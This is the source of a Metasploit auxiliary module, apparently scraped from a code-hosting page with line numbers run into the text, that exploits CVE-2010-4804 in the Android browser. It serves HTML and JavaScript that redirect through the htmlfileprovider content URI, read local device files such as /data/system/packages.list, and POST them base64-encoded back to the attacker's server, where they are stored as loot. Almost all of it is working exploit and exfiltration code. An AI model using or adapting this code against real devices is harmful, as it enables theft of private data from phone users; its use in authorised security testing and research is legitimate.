Path: blob/master/modules/auxiliary/gather/android_htmlfileprovider.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer::HTML7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Android Content Provider File Disclosure',14'Description' => %q{15This module exploits a cross-domain issue within the Android web browser to16exfiltrate files from a vulnerable device.17},18'Author' => [19'Thomas Cannon', # Original discovery, partial disclsoure20'jduck' # Metasploit module21],22'License' => MSF_LICENSE,23'Actions' => [24[ 'WebServer' ]25],26'PassiveActions' => [27'WebServer'28],29'References' => [30[ 'CVE', '2010-4804' ],31[ 'URL', 'http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/' ]32],33'DefaultAction' => 'WebServer',34'Notes' => {35'Reliability' => UNKNOWN_RELIABILITY,36'Stability' => UNKNOWN_STABILITY,37'SideEffects' => UNKNOWN_SIDE_EFFECTS38}39)40)4142register_options(43[44OptString.new('FILES', [45false, "The remote file(s) to steal",46'/proc/version,/proc/self/status,/data/system/packages.list'47])48]49)50end5152def on_request_uri(cli, request)53print_status("Request '#{request.method} #{request.uri}'")54selected_headers = [ 'user-agent', 'origin', 'referer' ]55request.headers.each_key { |k|56next if not selected_headers.include? k.downcase5758print_status("#{k}: #{request.headers[k]}")59}6061return process_post(cli, request) if request.method == "POST"6263# Only GET requests now..64if request.uri =~ /\.html?$/65filename = request.uri.split('/').last66target_files = datastore['FILES'].split(',').map { |e|67"'%s'" % e68}.join(',')6970upload_url = get_uri(cli)71upload_url << '/' if upload_url[-1, 1] != '/'72upload_url << 'q'7374html = <<~EOS75<html>76<body>77<script lang=javascript>78var target_files = Array(#{target_files});79var results = new Array();80function addField(form, name, value) {81var hf = document.createElement('input');82hf.setAttribute('type', 'hidden');83hf.setAttribute('name', name);84hf.setAttribute('value', value);85form.appendChild(hf);86}87function uploadFiles(files) {88var form = document.createElement('form');89form.setAttribute('method', 'POST');90form.setAttribute('action', '#{upload_url}');91var i = 0;92for (var fn in files) {93addField(form, 'f'+i, btoa(fn));94addField(form, 'd'+i, files[fn]);95i += 1;96}97document.body.appendChild(form);98form.submit();99}100for (var fn in target_files) {101fn = target_files[fn];102xh = new XMLHttpRequest();103xh.open('GET', fn, false);104xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }105xh.send();106}107uploadFiles(results);108</script>109</body>110</html>111EOS112113print_status("Sending payload HTML ...")114send_response_html(cli, html,115{116'Cache-Control' => 'public',117'Content-Description' => 'File Transfer',118'Content-Disposition' => "attachment; filename=#{filename}",119'Content-Transfer-Encoding' => 'binary',120'Content-Type' => 'text/html'121})122123else124payload_fn = Rex::Text.rand_text_alphanumeric(4 + rand(8))125126html = <<~EOS127<html>128<body>129<script lang=javascript>130setTimeout("document.location = 'content://com.android.htmlfileprovider/sdcard/download/#{payload_fn}.html';", 5000);131setTimeout("document.location = '#{payload_fn}.html';", 500);132</script>133</body>134</html>135EOS136137print_status("Sending initial HTML ...")138send_response_html(cli, html)139140end141end142143def process_post(cli, request)144results = {}145146if request and request.body147request.body.split('&').each { |var|148parts = var.split('=', 2)149if parts.length != 2150print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")151else152fln, fld = parts153fld = Rex::Text.uri_decode(fld).unpack('m').first154start = fln.slice!(0, 1)155if start == "f"156results[fln] ||= {}157results[fln][:filename] = fld158elsif start == "d"159results[fln] ||= {}160results[fln][:data] = fld161end162end163}164end165166results.each_key { |k|167e = results[k]168fn = e[:filename]169data = e[:data]170print_good("#{fn.inspect} contains #{data.inspect}")171172fn.gsub!(/[\/\\]/, '.')173fn.gsub!(/^\./, '')174store_loot('android.fs.' + fn, 'application/octet-stream', cli.peerhost, data, fn)175}176177send_response_html(cli, "thx")178end179180def run181exploit()182end183end184185186